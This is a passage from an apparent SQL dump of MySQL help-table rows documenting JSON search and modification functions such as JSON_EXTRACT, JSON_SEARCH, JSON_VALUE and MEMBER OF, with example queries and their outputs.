JSON_CONTAINS_PATH(@j, \'all\', \'$.a\', \'$.e\');\n+---------------------------------------------+\n| JSON_CONTAINS_PATH(@j, \'all\', \'$.a\', \'$.e\') |\n+---------------------------------------------+\n| 0 |\n+---------------------------------------------+\nmysql> SELECT JSON_CONTAINS_PATH(@j, \'one\', \'$.c.d\');\n+----------------------------------------+\n| JSON_CONTAINS_PATH(@j, \'one\', \'$.c.d\') |\n+----------------------------------------+\n| 1 |\n+----------------------------------------+\nmysql> SELECT JSON_CONTAINS_PATH(@j, \'one\', \'$.a.d\');\n+----------------------------------------+\n| JSON_CONTAINS_PATH(@j, \'one\', \'$.a.d\') |\n+----------------------------------------+\n| 0 |\n+----------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(388,'JSON_EXTRACT',32,'Syntax:\nJSON_EXTRACT(json_doc, path[, path] ...)\n\nReturns data from a JSON document, selected from the parts of the\ndocument matched by the path arguments. Returns NULL if any argument is\nNULL or no paths locate a value in the document. An error occurs if the\njson_doc argument is not a valid JSON document or any path argument is\nnot a valid path expression.\n\nThe return value consists of all values matched by the path arguments.\nIf it is possible that those arguments could return multiple values,\nthe matched values are autowrapped as an array, in the order\ncorresponding to the paths that produced them. Otherwise, the return\nvalue is the single matched value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT JSON_EXTRACT(\'[10, 20, [30, 40]]\', \'$[1]\');\n+--------------------------------------------+\n| JSON_EXTRACT(\'[10, 20, [30, 40]]\', \'$[1]\') |\n+--------------------------------------------+\n| 20 |\n+--------------------------------------------+\nmysql> SELECT JSON_EXTRACT(\'[10, 20, [30, 40]]\', \'$[1]\', \'$[0]\');\n+----------------------------------------------------+\n| JSON_EXTRACT(\'[10, 20, [30, 40]]\', \'$[1]\', \'$[0]\') |\n+----------------------------------------------------+\n| [20, 10] |\n+----------------------------------------------------+\nmysql> SELECT JSON_EXTRACT(\'[10, 20, [30, 40]]\', \'$[2][*]\');\n+-----------------------------------------------+\n| JSON_EXTRACT(\'[10, 20, [30, 40]]\', \'$[2][*]\') |\n+-----------------------------------------------+\n| [30, 40] |\n+-----------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(389,'->',32,'Syntax:\ncolumn->path\n\nThe -> operator serves as an alias for the JSON_EXTRACT() function when\nused with two arguments, a column identifier on the left and a JSON\npath (a string literal) on the right that is evaluated against the JSON\ndocument (the column value). You can use such expressions in place of\ncolumn references wherever they occur in SQL statements.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT c, JSON_EXTRACT(c, \"$.id\"), g\n > FROM jemp\n > WHERE JSON_EXTRACT(c, \"$.id\") > 1\n > ORDER BY JSON_EXTRACT(c, \"$.name\");\n+-------------------------------+-----------+------+\n| c | c->\"$.id\" | g |\n+-------------------------------+-----------+------+\n| {\"id\": \"3\", \"name\": \"Barney\"} | \"3\" | 3 |\n| {\"id\": \"4\", \"name\": \"Betty\"} | \"4\" | 4 |\n| {\"id\": \"2\", \"name\": \"Wilma\"} | \"2\" | 2 |\n+-------------------------------+-----------+------+\n3 rows in set (0.00 sec)\n\nmysql> SELECT c, c->\"$.id\", g\n > FROM jemp\n > WHERE c->\"$.id\" > 1\n > ORDER BY c->\"$.name\";\n+-------------------------------+-----------+------+\n| c | c->\"$.id\" | g |\n+-------------------------------+-----------+------+\n| {\"id\": \"3\", \"name\": \"Barney\"} | \"3\" | 3 |\n| {\"id\": \"4\", \"name\": \"Betty\"} | \"4\" | 4 |\n| {\"id\": \"2\", \"name\": \"Wilma\"} | \"2\" | 2 |\n+-------------------------------+-----------+------+\n3 rows in set (0.00 sec)\n\nmysql> ALTER TABLE jemp ADD COLUMN n INT;\nQuery OK, 0 rows affected (0.68 sec)\nRecords: 0 Duplicates: 0 Warnings: 0\n\nmysql> UPDATE jemp SET n=1 WHERE c->\"$.id\" = \"4\";\nQuery OK, 1 row affected (0.04 sec)\nRows matched: 1 Changed: 1 Warnings: 0\n\nmysql> SELECT c, c->\"$.id\", g, n\n > FROM jemp\n > WHERE JSON_EXTRACT(c, \"$.id\") > 1\n > ORDER BY c->\"$.name\";\n+-------------------------------+-----------+------+------+\n| c | c->\"$.id\" | g | n |\n+-------------------------------+-----------+------+------+\n| {\"id\": \"3\", \"name\": \"Barney\"} | \"3\" | 3 | NULL |\n| {\"id\": \"4\", \"name\": \"Betty\"} | \"4\" | 4 | 1 |\n| {\"id\": \"2\", \"name\": \"Wilma\"} | \"2\" | 2 | NULL |\n+-------------------------------+-----------+------+------+\n3 rows in set (0.00 sec)\n\nmysql> DELETE FROM jemp WHERE c->\"$.id\" = \"4\";\nQuery OK, 1 row affected (0.04 sec)\n\nmysql> SELECT c, c->\"$.id\", g, n\n > FROM jemp\n > WHERE JSON_EXTRACT(c, \"$.id\") > 1\n > ORDER BY c->\"$.name\";\n+-------------------------------+-----------+------+------+\n| c | c->\"$.id\" | g | n |\n+-------------------------------+-----------+------+------+\n| {\"id\": \"3\", \"name\": \"Barney\"} | \"3\" | 3 | NULL |\n| {\"id\": \"2\", \"name\": \"Wilma\"} | \"2\" | 2 | NULL |\n+-------------------------------+-----------+------+------+\n2 rows in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(390,'->>',32,'Syntax:\ncolumn->>path\n\nThis is an improved, unquoting extraction operator. Whereas the ->\noperator simply extracts a value, the ->> operator in addition unquotes\nthe extracted result. In other words, given a JSON column value column\nand a path expression path (a string literal), the following three\nexpressions return the same value:\n\no JSON_UNQUOTE( JSON_EXTRACT(column, path) )\n\no JSON_UNQUOTE(column -> path)\n\no column->>path\n\nThe ->> operator can be used wherever JSON_UNQUOTE(JSON_EXTRACT())\nwould be allowed. This includes (but is not limited to) SELECT lists,\nWHERE and HAVING clauses, and ORDER BY and GROUP BY clauses.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT * FROM jemp WHERE g > 2;\n+-------------------------------+------+\n| c | g |\n+-------------------------------+------+\n| {\"id\": \"3\", \"name\": \"Barney\"} | 3 |\n| {\"id\": \"4\", \"name\": \"Betty\"} | 4 |\n+-------------------------------+------+\n2 rows in set (0.01 sec)\n\nmysql> SELECT c->\'$.name\' AS name\n -> FROM jemp WHERE g > 2;\n+----------+\n| name |\n+----------+\n| \"Barney\" |\n| \"Betty\" |\n+----------+\n2 rows in set (0.00 sec)\n\nmysql> SELECT JSON_UNQUOTE(c->\'$.name\') AS name\n -> FROM jemp WHERE g > 2;\n+--------+\n| name |\n+--------+\n| Barney |\n| Betty |\n+--------+\n2 rows in set (0.00 sec)\n\nmysql> SELECT c->>\'$.name\' AS name\n -> FROM jemp WHERE g > 2;\n+--------+\n| name |\n+--------+\n| Barney |\n| Betty |\n+--------+\n2 rows in set (0.00 sec)\n\nmysql> CREATE TABLE tj10 (a JSON, b INT);\nQuery OK, 0 rows affected (0.26 sec)\n\nmysql> INSERT INTO tj10 VALUES\n -> (\'[3,10,5,\"x\",44]\', 33),\n -> (\'[3,10,5,17,[22,\"y\",66]]\', 0);\nQuery OK, 2 rows affected (0.04 sec)\nRecords: 2 Duplicates: 0 Warnings: 0\n\nmysql> SELECT a->\"$[3]\", a->\"$[4][1]\" FROM tj10;\n+-----------+--------------+\n| a->\"$[3]\" | a->\"$[4][1]\" |\n+-----------+--------------+\n| \"x\" | NULL |\n| 17 | \"y\" |\n+-----------+--------------+\n2 rows in set (0.00 sec)\n\nmysql> SELECT a->>\"$[3]\", a->>\"$[4][1]\" FROM tj10;\n+------------+---------------+\n| a->>\"$[3]\" | a->>\"$[4][1]\" |\n+------------+---------------+\n| x | NULL |\n| 17 | y |\n+------------+---------------+\n2 rows in set (0.00 sec)\n\nmysql> EXPLAIN SELECT c->>\'$.name\' AS name\n -> FROM jemp WHERE g > 2\\G\n*************************** 1. row ***************************\n id: 1\n select_type: SIMPLE\n table: jemp\n partitions: NULL\n type: range\npossible_keys: i\n key: i\n key_len: 5\n ref: NULL\n rows: 2\n filtered: 100.00\n Extra: Using where\n1 row in set, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS\\G\n*************************** 1. row ***************************\n Level: Note\n Code: 1003\nMessage: /* select#1 */ select\njson_unquote(json_extract(`jtest`.`jemp`.`c`,\'$.name\')) AS `name` from\n`jtest`.`jemp` where (`jtest`.`jemp`.`g` > 2)\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(391,'JSON_KEYS',32,'Syntax:\nJSON_KEYS(json_doc[, path])\n\nReturns the keys from the top-level value of a JSON object as a JSON\narray, or, if a path argument is given, the top-level keys from the\nselected path. Returns NULL if any argument is NULL, the json_doc\nargument is not an object, or path, if given, does not locate an\nobject. An error occurs if the json_doc argument is not a valid JSON\ndocument or the path argument is not a valid path expression or\ncontains a * or ** wildcard.\n\nThe result array is empty if the selected object is empty. If the\ntop-level value has nested subobjects, the return value does not\ninclude keys from those subobjects.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT JSON_KEYS(\'{\"a\": 1, \"b\": {\"c\": 30}}\');\n+---------------------------------------+\n| JSON_KEYS(\'{\"a\": 1, \"b\": {\"c\": 30}}\') |\n+---------------------------------------+\n| [\"a\", \"b\"] |\n+---------------------------------------+\nmysql> SELECT JSON_KEYS(\'{\"a\": 1, \"b\": {\"c\": 30}}\', \'$.b\');\n+----------------------------------------------+\n| JSON_KEYS(\'{\"a\": 1, \"b\": {\"c\": 30}}\', \'$.b\') |\n+----------------------------------------------+\n| [\"c\"] |\n+----------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(392,'JSON_OVERLAPS',32,'Syntax:\nJSON_OVERLAPS(json_doc1, json_doc2)\n\nCompares two JSON documents. Returns true (1) if the two document have\nany key-value pairs or array elements in common. If both arguments are\nscalars, the function performs a simple equality test. If either\nargument is NULL, the function returns NULL.\n\nThis function serves as counterpart to JSON_CONTAINS(), which requires\nall elements of the array searched for to be present in the array\nsearched in. Thus, JSON_CONTAINS() performs an AND operation on search\nkeys, while JSON_OVERLAPS() performs an OR operation.\n\nQueries on JSON columns of InnoDB tables using JSON_OVERLAPS() in the\nWHERE clause can be optimized using multi-valued indexes.\nhttps://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-\nmulti-valued, provides detailed information and examples.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT JSON_OVERLAPS(\"[1,3,5,7]\", \"[2,5,7]\");\n+---------------------------------------+\n| JSON_OVERLAPS(\"[1,3,5,7]\", \"[2,5,7]\") |\n+---------------------------------------+\n| 1 |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\"[1,3,5,7]\", \"[2,6,7]\");\n+---------------------------------------+\n| JSON_OVERLAPS(\"[1,3,5,7]\", \"[2,6,7]\") |\n+---------------------------------------+\n| 1 |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\"[1,3,5,7]\", \"[2,6,8]\");\n+---------------------------------------+\n| JSON_OVERLAPS(\"[1,3,5,7]\", \"[2,6,8]\") |\n+---------------------------------------+\n| 0 |\n+---------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'[[1,2],[3,4],5]\', \'[1,[2,3],[4,5]]\');\n+-----------------------------------------------------+\n| JSON_OVERLAPS(\'[[1,2],[3,4],5]\', \'[1,[2,3],[4,5]]\') |\n+-----------------------------------------------------+\n| 0 |\n+-----------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'{\"a\":1,\"b\":10,\"d\":10}\', \'{\"c\":1,\"e\":10,\"f\":1,\"d\":10}\');\n+-----------------------------------------------------------------------+\n| JSON_OVERLAPS(\'{\"a\":1,\"b\":10,\"d\":10}\', \'{\"c\":1,\"e\":10,\"f\":1,\"d\":10}\') |\n+-----------------------------------------------------------------------+\n| 1 |\n+-----------------------------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'{\"a\":1,\"b\":10,\"d\":10}\', \'{\"a\":5,\"e\":10,\"f\":1,\"d\":20}\');\n+-----------------------------------------------------------------------+\n| JSON_OVERLAPS(\'{\"a\":1,\"b\":10,\"d\":10}\', \'{\"a\":5,\"e\":10,\"f\":1,\"d\":20}\') |\n+-----------------------------------------------------------------------+\n| 0 |\n+-----------------------------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'5\', \'5\');\n+-------------------------+\n| JSON_OVERLAPS(\'5\', \'5\') |\n+-------------------------+\n| 1 |\n+-------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'5\', \'6\');\n+-------------------------+\n| JSON_OVERLAPS(\'5\', \'6\') |\n+-------------------------+\n| 0 |\n+-------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'[4,5,6,7]\', \'6\');\n+---------------------------------+\n| JSON_OVERLAPS(\'[4,5,6,7]\', \'6\') |\n+---------------------------------+\n| 1 |\n+---------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'[4,5,\"6\",7]\', \'6\');\n+-----------------------------------+\n| JSON_OVERLAPS(\'[4,5,\"6\",7]\', \'6\') |\n+-----------------------------------+\n| 0 |\n+-----------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_OVERLAPS(\'[4,5,6,7]\', \'\"6\"\');\n+-----------------------------------+\n| JSON_OVERLAPS(\'[4,5,6,7]\', \'\"6\"\') |\n+-----------------------------------+\n| 0 |\n+-----------------------------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(393,'JSON_SEARCH',32,'Syntax:\nJSON_SEARCH(json_doc, one_or_all, search_str[, escape_char[, path]\n...])\n\nReturns the path to the given string within a JSON document. Returns\nNULL if any of the json_doc, search_str, or path arguments are NULL; no\npath exists within the document; or search_str is not found. An error\noccurs if the json_doc argument is not a valid JSON document, any path\nargument is not a valid path expression, one_or_all is not \'one\' or\n\'all\', or escape_char is not a constant expression.\n\nThe one_or_all argument affects the search as follows:\n\no \'one\': The search terminates after the first match and returns one\n path string. It is undefined which match is considered first.\n\no \'all\': The search returns all matching path strings such that no\n duplicate paths are included. If there are multiple strings, they are\n autowrapped as an array. The order of the array elements is\n undefined.\n\nWithin the search_str search string argument, the % and _ characters\nwork as for the LIKE operator: % matches any number of characters\n(including zero characters), and _ matches exactly one character.\n\nTo specify a literal % or _ character in the search string, precede it\nby the escape character. The default is \\ if the escape_char argument\nis missing or NULL. Otherwise, escape_char must be a constant that is\nempty or one character.\n\nFor more information about matching and escape character behavior, see\nthe description of LIKE in\nhttps://dev.mysql.com/doc/refman/8.0/en/string-comparison-functions.html\n. For escape character handling, a difference from the LIKE behavior\nis that the escape character for JSON_SEARCH() must evaluate to a\nconstant at compile time, not just at execution time. For example, if\nJSON_SEARCH() is used in a prepared statement and the escape_char\nargument is supplied using a ? parameter, the parameter value might be\nconstant at execution time, but is not at compile time.\n\nsearch_str and path are always interpreted as utf8mb4 strings,\nregardless of their actual encoding. This is a known issue which is\nfixed in MySQL 8.0.24 ( Bug #32449181).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SET @j = \'[\"abc\", [{\"k\": \"10\"}, \"def\"], {\"x\":\"abc\"}, {\"y\":\"bcd\"}]\';\n\nmysql> SELECT JSON_SEARCH(@j, \'one\', \'abc\');\n+-------------------------------+\n| JSON_SEARCH(@j, \'one\', \'abc\') |\n+-------------------------------+\n| \"$[0]\" |\n+-------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'abc\');\n+-------------------------------+\n| JSON_SEARCH(@j, \'all\', \'abc\') |\n+-------------------------------+\n| [\"$[0]\", \"$[2].x\"] |\n+-------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'ghi\');\n+-------------------------------+\n| JSON_SEARCH(@j, \'all\', \'ghi\') |\n+-------------------------------+\n| NULL |\n+-------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\');\n+------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\') |\n+------------------------------+\n| \"$[1][0].k\" |\n+------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$\');\n+-----------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$\') |\n+-----------------------------------------+\n| \"$[1][0].k\" |\n+-----------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[*]\');\n+--------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[*]\') |\n+--------------------------------------------+\n| \"$[1][0].k\" |\n+--------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$**.k\');\n+---------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$**.k\') |\n+---------------------------------------------+\n| \"$[1][0].k\" |\n+---------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[*][0].k\');\n+-------------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[*][0].k\') |\n+-------------------------------------------------+\n| \"$[1][0].k\" |\n+-------------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[1]\');\n+--------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[1]\') |\n+--------------------------------------------+\n| \"$[1][0].k\" |\n+--------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[1][0]\');\n+-----------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'10\', NULL, \'$[1][0]\') |\n+-----------------------------------------------+\n| \"$[1][0].k\" |\n+-----------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'abc\', NULL, \'$[2]\');\n+---------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'abc\', NULL, \'$[2]\') |\n+---------------------------------------------+\n| \"$[2].x\" |\n+---------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%a%\');\n+-------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%a%\') |\n+-------------------------------+\n| [\"$[0]\", \"$[2].x\"] |\n+-------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%b%\');\n+-------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%b%\') |\n+-------------------------------+\n| [\"$[0]\", \"$[2].x\", \"$[3].y\"] |\n+-------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%b%\', NULL, \'$[0]\');\n+---------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%b%\', NULL, \'$[0]\') |\n+---------------------------------------------+\n| \"$[0]\" |\n+---------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%b%\', NULL, \'$[2]\');\n+---------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%b%\', NULL, \'$[2]\') |\n+---------------------------------------------+\n| \"$[2].x\" |\n+---------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%b%\', NULL, \'$[1]\');\n+---------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%b%\', NULL, \'$[1]\') |\n+---------------------------------------------+\n| NULL |\n+---------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%b%\', \'\', \'$[1]\');\n+-------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%b%\', \'\', \'$[1]\') |\n+-------------------------------------------+\n| NULL |\n+-------------------------------------------+\n\nmysql> SELECT JSON_SEARCH(@j, \'all\', \'%b%\', \'\', \'$[3]\');\n+-------------------------------------------+\n| JSON_SEARCH(@j, \'all\', \'%b%\', \'\', \'$[3]\') |\n+-------------------------------------------+\n| \"$[3].y\" |\n+-------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(394,'JSON_VALUE',32,'Syntax:\nJSON_VALUE(json_doc, path)\n\nExtracts a value from a JSON document at the path given in the\nspecified document, and returns the extracted value, optionally\nconverting it to a desired type. The complete syntax is shown here:\n\nJSON_VALUE(json_doc, path [RETURNING type] [on_empty] [on_error])\n\non_empty:\n {NULL | ERROR | DEFAULT value} ON EMPTY\n\non_error:\n {NULL | ERROR | DEFAULT value} ON ERROR\n\njson_doc is a valid JSON document. If this is NULL, the function\nreturns NULL.\n\npath is a JSON path pointing to a location in the document. This must\nbe a string literal value.\n\ntype is one of the following data types:\n\no FLOAT\n\no DOUBLE\n\no DECIMAL\n\no SIGNED\n\no UNSIGNED\n\no DATE\n\no TIME\n\no DATETIME\n\no YEAR (MySQL 8.0.22 and later)\n\n YEAR values of one or two digits are not supported.\n\no CHAR\n\no JSON\n\nThe types just listed are the same as the (non-array) types supported\nby the CAST() function.\n\nIf not specified by a RETURNING clause, the JSON_VALUE() function\'s\nreturn type is VARCHAR(512). When no character set is specified for the\nreturn type, JSON_VALUE() uses utf8mb4 with the binary collation, which\nis case-sensitive; if utf8mb4 is specified as the character set for the\nresult, the server uses the default collation for this character set,\nwhich is not case-sensitive.\n\nWhen the data at the specified path consists of or resolves to a JSON\nnull literal, the function returns SQL NULL.\n\non_empty, if specified, determines how JSON_VALUE() behaves when no\ndata is found at the path given; this clause takes one of the following\nvalues:\n\no NULL ON EMPTY: The function returns NULL; this is the default ON\n EMPTY behavior.\n\no DEFAULT value ON EMPTY: the provided value is returned. The value\'s\n type must match that of the return type.\n\no ERROR ON EMPTY: The function throws an error.\n\nIf used, on_error takes one of the following values with the\ncorresponding outcome when an error occurs, as listed here:\n\no NULL ON ERROR: JSON_VALUE() returns NULL; this is the default\n behavior if no ON ERROR clause is used.\n\no DEFAULT value ON ERROR: This is the value returned; its value must\n match that of the return type.\n\no ERROR ON ERROR: An error is thrown.\n\nON EMPTY, if used, must precede any ON ERROR clause. Specifying them in\nthe wrong order results in a syntax error.\n\nError handling In general, errors are handled by JSON_VALUE() as\nfollows:\n\no All JSON input (document and path) is checked for validity. If any of\n it is not valid, an SQL error is thrown without triggering the ON\n ERROR clause.\n\no ON ERROR is triggered whenever any of the following events occur:\n\n o Attempting to extract an object or an array, such as that resulting\n from a path that resolves to multiple locations within the JSON\n document\n\n o Conversion errors, such as attempting to convert \'asdf\' to an\n UNSIGNED value\n\n o Truncation of values\n\no A conversion error always triggers a warning even if NULL ON ERROR or\n DEFAULT ... ON ERROR is specified.\n\no The ON EMPTY clause is triggered when the source JSON document (expr)\n contains no data at the specified location (path).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT JSON_VALUE(\'{\"fname\": \"Joe\", \"lname\": \"Palmer\"}\', \'$.fname\');\n+--------------------------------------------------------------+\n| JSON_VALUE(\'{\"fname\": \"Joe\", \"lname\": \"Palmer\"}\', \'$.fname\') |\n+--------------------------------------------------------------+\n| Joe |\n+--------------------------------------------------------------+\n\nmysql> SELECT JSON_VALUE(\'{\"item\": \"shoes\", \"price\": \"49.95\"}\', \'$.price\'\n -> RETURNING DECIMAL(4,2)) AS price;\n+-------+\n| price |\n+-------+\n| 49.95 |\n+-------+\n\nSELECT CAST(\n JSON_UNQUOTE( JSON_EXTRACT(json_doc, path) )\n AS type\n);\n\nCREATE TABLE t1(\n j JSON,\n INDEX i1 ( (JSON_VALUE(j, \'$.id\' RETURNING UNSIGNED)) )\n);\n\nmysql> EXPLAIN SELECT * FROM t1\n -> WHERE JSON_VALUE(j, \'$.id\' RETURNING UNSIGNED) = 123\\G\n*************************** 1. row ***************************\n id: 1\n select_type: SIMPLE\n table: t1\n partitions: NULL\n type: ref\npossible_keys: i1\n key: i1\n key_len: 9\n ref: const\n rows: 1\n filtered: 100.00\n Extra: NULL\n\nCREATE TABLE t2 (\n j JSON,\n g INT GENERATED ALWAYS AS (j->\"$.id\"),\n INDEX i1 (g)\n);\n\nmysql> EXPLAIN SELECT * FROM t2 WHERE g = 123\\G\n*************************** 1. row ***************************\n id: 1\n select_type: SIMPLE\n table: t2\n partitions: NULL\n type: ref\npossible_keys: i1\n key: i1\n key_len: 5\n ref: const\n rows: 1\n filtered: 100.00\n Extra: NULL\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(395,'MEMBER OF',32,'Syntax:\nvalue MEMBER OF(json_array)\n\nReturns true (1) if value is an element of json_array, otherwise\nreturns false (0). value must be a scalar or a JSON document; if it is\na scalar, the operator attempts to treat it as an element of a JSON\narray. If value or json_array is NULL, the function returns NULL.\n\nQueries using MEMBER OF() on JSON columns of InnoDB tables in the WHERE\nclause can be optimized using multi-valued indexes. See\nhttps://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-\nmulti-valued, for detailed information and examples.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html\n\n','mysql> SELECT 17 MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\');\n+-------------------------------------------+\n| 17 MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\') |\n+-------------------------------------------+\n| 1 |\n+-------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT \'ab\' MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\');\n+---------------------------------------------+\n| \'ab\' MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\') |\n+---------------------------------------------+\n| 1 |\n+---------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT 7 MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\');\n+------------------------------------------+\n| 7 MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\') |\n+------------------------------------------+\n| 0 |\n+------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT \'a\' MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\');\n+--------------------------------------------+\n| \'a\' MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\') |\n+--------------------------------------------+\n| 0 |\n+--------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT\n -> 17 MEMBER OF(\'[23, \"abc\", \"17\", \"ab\", 10]\'),\n -> \"17\" MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\')\\G\n*************************** 1. row ***************************\n17 MEMBER OF(\'[23, \"abc\", \"17\", \"ab\", 10]\'): 0\n\"17\" MEMBER OF(\'[23, \"abc\", 17, \"ab\", 10]\'): 0\n1 row in set (0.00 sec)\n\nmysql> SELECT CAST(\'[4,5]\' AS JSON) MEMBER OF(\'[[3,4],[4,5]]\');\n+--------------------------------------------------+\n| CAST(\'[4,5]\' AS JSON) MEMBER OF(\'[[3,4],[4,5]]\') |\n+--------------------------------------------------+\n| 1 |\n+--------------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SELECT JSON_ARRAY(4,5) MEMBER OF(\'[[3,4],[4,5]]\');\n+--------------------------------------------+\n| JSON_ARRAY(4,5) MEMBER OF(\'[[3,4],[4,5]]\') |\n+--------------------------------------------+\n| 1 |\n+--------------------------------------------+\n1 row in set (0.00 sec)\n\nmysql> SET @a = CAST(\'{\"a\":1}\' AS JSON);\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SET @b = JSON_OBJECT(\"b\", 2);\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SET @c = JSON_ARRAY(17, @b, \"abc\", @a, 23);\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @a MEMBER OF(@c), @b MEMBER OF(@c);\n+------------------+------------------+\n| @a MEMBER OF(@c) | @b MEMBER OF(@c) |\n+------------------+------------------+\n| 1 | 1 |\n+------------------+------------------+\n1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/json-search-functions.html'),(396,'JSON_ARRAY_APPEND',32,'Syntax:\nJSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)\n\nAppends values to the end of the indicated arrays within a JSON\ndocument and returns the result. Returns NULL if any argument is NULL.\nAn error occurs if the json_doc argument is not a valid JSON document\nor any path argument is not a valid path expression or contains a * or\n** wildcard.\n\nThe path-value pairs are evaluated left to right. The document produced\nby evaluating one pair becomes the new value against which the next\npair is evaluated.\n\nIf a path selects a scalar or object value, that value is autowrapped\nwithin an array and the new value is added to that array. Pairs for\nwhich the path does not identify any value in the JSON document are\nignored.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/json-modification-functions.html\n\n','mysql> SET @j = \'[\"a\", [\"b\", \"c\"], \"d\"]\';\nmysql> SELECT JSON_ARRAY_APPEND(@j, \'$[1]\', 1);\n+----------------------------------+\n| JSON_ARRAY_APPEND(@j, \'$[1]\', 1) |\n+----------------------------------+\n| [\"a\", [\"b\", \"c\", 1], \"d\"] |\n+----------------------------------+\nmysql> SELECT JSON_ARRAY_APPEND(@j, \'$[0]\', 2);\n+----------------------------------+\n| JSON_ARRAY_APPEND(@j, \'$[0]\', 2) |\n+----------------------------------+\n| [[\"a\", 2], [\"b\", \"c\"], \"d\"] |\n+----------------------------------+\nmysql> SELECT JSON_ARRAY_APPEND(@j, \'$[1][0]\', 3);\n+-------------------------------------+\n| JSON_ARRAY_APPEND(@j, \'$[1][0]\', 3) |\n+-------------------------------------+\n| [\"a\", [[\"b\", 3], \"c\"], \"d\"] 